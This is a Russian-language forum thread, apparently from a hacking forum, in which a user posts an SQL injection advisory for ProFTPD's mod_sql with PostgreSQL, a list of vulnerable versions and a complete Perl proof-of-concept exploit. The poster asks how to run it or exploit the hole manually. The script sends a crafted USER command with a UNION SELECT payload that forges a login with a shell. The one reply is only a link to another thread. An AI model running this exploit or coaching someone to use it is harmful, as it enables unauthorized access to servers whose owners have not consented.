неавторизованный доступ (ProFTPD)

Discussion in 'PHP' started by *.exe, 15 Mar 2008.

  1. *.exe

    *.exe Elder - Старейшина

    Joined:
    8 Jan 2007
    Messages:
    66
    Likes Received:
    11
    Reputations:
    -4
    Описание

    SQL-инъекция обнаружена в модуле mod_sql Pro_FTPD сервера. Во время аутентификации к серверу баз данных PostregSQL mod_sql_postreg некорректно обрабатывает escape строки, что позволяет удаленному атакующему в качестве имени пользователя использовать SQL запрос и получить неавторизованный доступ к базе данных на сервере.

    Уязвимые версии:
    PHP:
    ProFTPD Project ProFTPD 1.2 pre9 
    ProFTPD Project ProFTPD 1.2 pre8 
    ProFTPD Project ProFTPD 1.2 pre7 
    ProFTPD Project ProFTPD 1.2 pre6 
    ProFTPD Project ProFTPD 1.2 pre5 
    ProFTPD Project ProFTPD 1.2 pre4 
    ProFTPD Project ProFTPD 1.2 pre3 
    ProFTPD Project ProFTPD 1.2 pre2 
    ProFTPD Project ProFTPD 1.2 pre11 
    ProFTPD Project ProFTPD 1.2 pre10 
    ProFTPD Project ProFTPD 1.2 pre1 
    ProFTPD Project ProFTPD 1.2 .0rc3 
    ProFTPD Project ProFTPD 1.2 .0rc2 
    ProFTPD Project ProFTPD 1.2 .0rc1 
    ProFTPD Project ProFTPD 1.2 
    ProFTPD Project ProFTPD 1.2.1 
    ProFTPD Project ProFTPD 1.2.2 rc3 
    ProFTPD Project ProFTPD 1.2.2 rc1 
    ProFTPD Project ProFTPD 1.2.2 
    ProFTPD Project ProFTPD 1.2.3 
    ProFTPD Project ProFTPD 1.2.4 
    ProFTPD Project ProFTPD 1.2.5 rc1 
    ProFTPD Project ProFTPD 1.2.5 
    ProFTPD Project ProFTPD 1.2.6 
    ProFTPD Project ProFTPD 1.2.7 rc3 
    ProFTPD Project ProFTPD 1.2.7 rc2 
    ProFTPD Project ProFTPD 1.2.7 rc1 
    ProFTPD Project ProFTPD 1.2.7 
    ProFTPD Project ProFTPD 1.2.8 
    ProFTPD Project ProFTPD 1.2.9 rc1
    Эксплойт написан на perle, в котором я вообще не рублю ........ Подскажите как его юзать ? или если кто в курсе мож как-нибудь в ручную дыру можно юзать ?

    Code:
    #!/usr/bin/perl
    # Sql inject on ProFTPD with mod_sql proof of concept script
    # runlevel [ [email protected] ]
    # Spain, 2003
    
    use IO::Socket;
    if(@ARGC<2){
        print "\nProof Of Concept Sql Inject on ProFTPD\n";
        print "Usage: perl poc-sqlftp <target> [1=Alternate query]\n\n";
        exit(0);
    };
    
    $server = $ARGV[0];
    $query = $ARGV[1];
    $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$server,PeerPort=>"21",Reuse=>1) 
                              or die "Can't connect. \n";
    if(defined($line=<$remote>)){
        print STDOUT $line;
    }
    
    # Proof of concept query, it may change on the number of rows
    # By default, it can query User, Pass, Uid, Gid, Shell or
    # User, Pass, Uid, Gid, Shell, Path, change the union query...
    
    if($query eq "1"){
        print $remote "USER ')UNION SELECT'u','p',1002,1002,'/tmp','/bin/bash'WHERE(''='\n";
    }else{
        print $remote "USER ')UNION SELECT'u','p',1002,1002,'/bin/bash' WHERE(''='\n";
    };
    if(defined($line=<$remote>)){
        print STDOUT $line;
    }
    print $remote "PASS p\n";
    if(defined($line=<$remote>)){
        print STDOUT $line;
    }
    print "Sent query to $ARGV[0]\n";
    if($line =~ /230/){  #logged in
        print "[------- Sql Inject Able \n";
    }else{
        print "[------- Sql Inject Unable \n";
    }
    close $remote;
     
    1 person likes this.
  2. FileFIL

    FileFIL New Member

    Joined:
    15 Mar 2008
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    http://forum.antichat.ru/thread6033.html ?